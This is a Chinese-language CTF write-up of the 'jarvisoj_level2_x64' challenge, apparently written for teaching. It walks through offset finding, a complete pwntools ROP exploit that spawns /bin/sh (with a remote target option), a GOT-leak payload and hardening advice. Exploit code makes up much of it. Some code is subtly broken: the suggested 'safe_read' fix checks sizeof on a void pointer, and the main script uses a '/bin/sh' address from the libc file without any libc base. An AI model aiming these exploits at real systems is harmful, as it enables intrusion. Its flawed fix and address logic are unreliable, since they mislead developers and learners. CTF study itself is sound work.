1. 项目背景与核心挑战
"jarvisoj_level2_x64"是一个经典的64位栈溢出漏洞利用挑战,常见于CTF竞赛和二进制安全学习路径中。这个挑战模拟了现实环境中由于未对用户输入进行边界检查而导致的缓冲区溢出漏洞,攻击者需要通过精心构造的输入数据来劫持程序控制流。
我第一次接触这个题目是在某次内部技能考核中,当时花了整整一个下午才完全理解其运作机制。这类题目最大的特点就是看似简单(通常只有几十行代码),但包含了二进制安全的多个核心知识点。
2. 环境准备与初步分析
2.1 实验环境搭建
推荐使用以下工具组合进行分析:
- Ubuntu 18.04/20.04 LTS(建议原生系统而非虚拟机)
- gdb-peda增强版调试器
- pwntools漏洞利用框架(Python库)
- checksec脚本(用于检查二进制保护机制)
安装命令示例:
bash复制sudo apt update
sudo apt install -y gdb python3-pip
pip3 install pwntools
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
2.2 二进制文件初步检查
首先使用checksec检查保护机制:
bash复制checksec --file=level2_x64
典型输出示例:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键信息解读:
- 64位架构(amd64)
- 未启用栈保护(No canary)
- 启用NX(堆栈不可执行)
- 未启用地址随机化(No PIE)
3. 漏洞分析与利用策略
3.1 静态分析
使用IDA Pro或Ghidra进行反编译,关键函数伪代码通常如下:
c复制void vulnerable_function() {
char buf[0x80];
read(0, buf, 0x200); // 明显的栈溢出漏洞
}
漏洞点分析:
- 缓冲区大小:0x80字节(128字节)
- 读取长度:0x200字节(512字节)
- 可溢出空间:512-128=384字节
3.2 动态调试确认
在gdb中确认偏移量:
bash复制gdb ./level2_x64
b *vulnerable_function+0x20 # 在read调用后下断点
r <<< $(python -c 'print "A"*136 + "BBBBBBBB"')
观察崩溃时RIP寄存器的值:
- 如果显示0x4242424242424242(BBBBBBBB的ASCII码),说明136字节是正确偏移
3.3 利用思路构建
由于NX保护开启,不能直接执行shellcode。典型利用路径:
- 覆盖返回地址指向system函数
- 构造ROP链设置参数
- 跳转到libc中的system("/bin/sh")
关键步骤:
- 泄露libc基地址(本题通常提供libc)
- 计算system和"/bin/sh"的实际地址
- 构造payload布局
4. 完整利用代码实现
4.1 Python利用脚本
python复制from pwn import *
context(arch='amd64', os='linux')
# 本地调试配置
LOCAL = True
if LOCAL:
p = process('./level2_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('pwn.jarvisoj.com', 9876)
libc = ELF('./libc-2.19.so')
elf = ELF('./level2_x64')
# 获取关键符号地址
system_plt = elf.plt['system']
binsh = next(libc.search(b'/bin/sh'))
# 构造payload
payload = flat(
b'A'*136, # 填充缓冲区
p64(0x4006b3), # pop rdi; ret gadget
p64(binsh), # /bin/sh地址
p64(system_plt) # 调用system
)
p.sendlineafter('Input:', payload)
p.interactive()
4.2 ROP链详解
关键gadget解析:
code复制0x4006b3: pop rdi; ret
64位调用约定:
- 第一个参数通过RDI寄存器传递
- 需要先弹出参数到RDI,再跳转到函数
内存布局示意图:
code复制|-----------------------|
| 填充数据 (136字节) |
|-----------------------|
| pop rdi; ret地址 | ← 覆盖的返回地址
|-----------------------|
| /bin/sh地址 |
|-----------------------|
| system@plt地址 |
|-----------------------|
5. 高级技巧与变种分析
5.1 无libc情况下的利用
如果未提供libc,可以通过:
- 泄露GOT表中的函数地址(如puts)
- 计算libc基地址
- 推导system和/bin/sh的偏移
示例泄露代码:
python复制puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = flat(
b'A'*136,
p64(0x4006b3), # pop rdi; ret
p64(puts_got),
p64(puts_plt),
p64(main_addr) # 重新执行main
)
5.2 栈对齐问题处理
在64位系统中,调用system时要求栈16字节对齐。常见解决方案:
- 在ROP链中添加ret指令调整栈指针
- 使用mov rsp, rbp等gadget
对齐检查方法:
- 在gdb中观察system调用时的rsp值
- 最后4位应为0x0
6. 防御措施与修复建议
6.1 开发者防护方案
- 启用所有保护机制:
bash复制gcc -fstack-protector-strong -pie -fPIE -Wl,-z,now -o safe_binary source.c
- 安全的输入处理:
c复制fgets(buf, sizeof(buf), stdin);
- 使用更安全的函数替代read:
c复制ssize_t safe_read(int fd, void *buf, size_t count) {
if (count > sizeof(buf)) {
return -1;
}
return read(fd, buf, count);
}
6.2 系统级防护
- ASLR完全启用:
bash复制echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
- SELinux/AppArmor配置:
bash复制sudo aa-enforce /etc/apparmor.d/bin.pwn_challenge
7. 实战经验与排错指南
7.1 常见问题排查
- 段错误但无控制流劫持:
- 检查payload长度是否准确
- 确认gadget地址是否正确
- 验证libc版本是否匹配
- system调用后无shell:
- 检查/bin/sh字符串地址
- 确认栈对齐情况
- 测试libc中的execve替代方案
7.2 性能优化技巧
- 使用pwntools的cyclic功能:
python复制payload = cyclic(200)
p.sendline(payload)
# gdb中查看崩溃时的偏移
- 自动化gdb调试:
python复制gdb.attach(p, '''
b *vulnerable_function+0x20
c
''')
- 利用模板脚本:
python复制def exploit(ip, port):
context.timeout = 3
try:
p = remote(ip, port)
# 攻击代码
return True
except:
return False
8. 扩展学习路径建议
- 进阶ROP技术:
- SROP (Sigreturn Oriented Programming)
- BROP (Blind ROP)
- JOP (Jump Oriented Programming)
- 相关CTF挑战推荐:
- pwnable.kr的fd、collision
- hackthebox的basics系列
- CTFtime上的入门pwn题
- 学习资源:
- 《二进制漏洞利用实战》
- ROP Emporium挑战系列
- LiveOverflow的YouTube教程
这个挑战虽然基础,但涵盖了二进制安全的多个核心概念。我在实际教学中发现,彻底理解这个例子后,学员对内存布局、函数调用约定和漏洞利用的理解会有质的飞跃。建议在成功利用后,尝试修改保护机制(如开启ASLR)并调整攻击方案,这对实战能力的提升至关重要。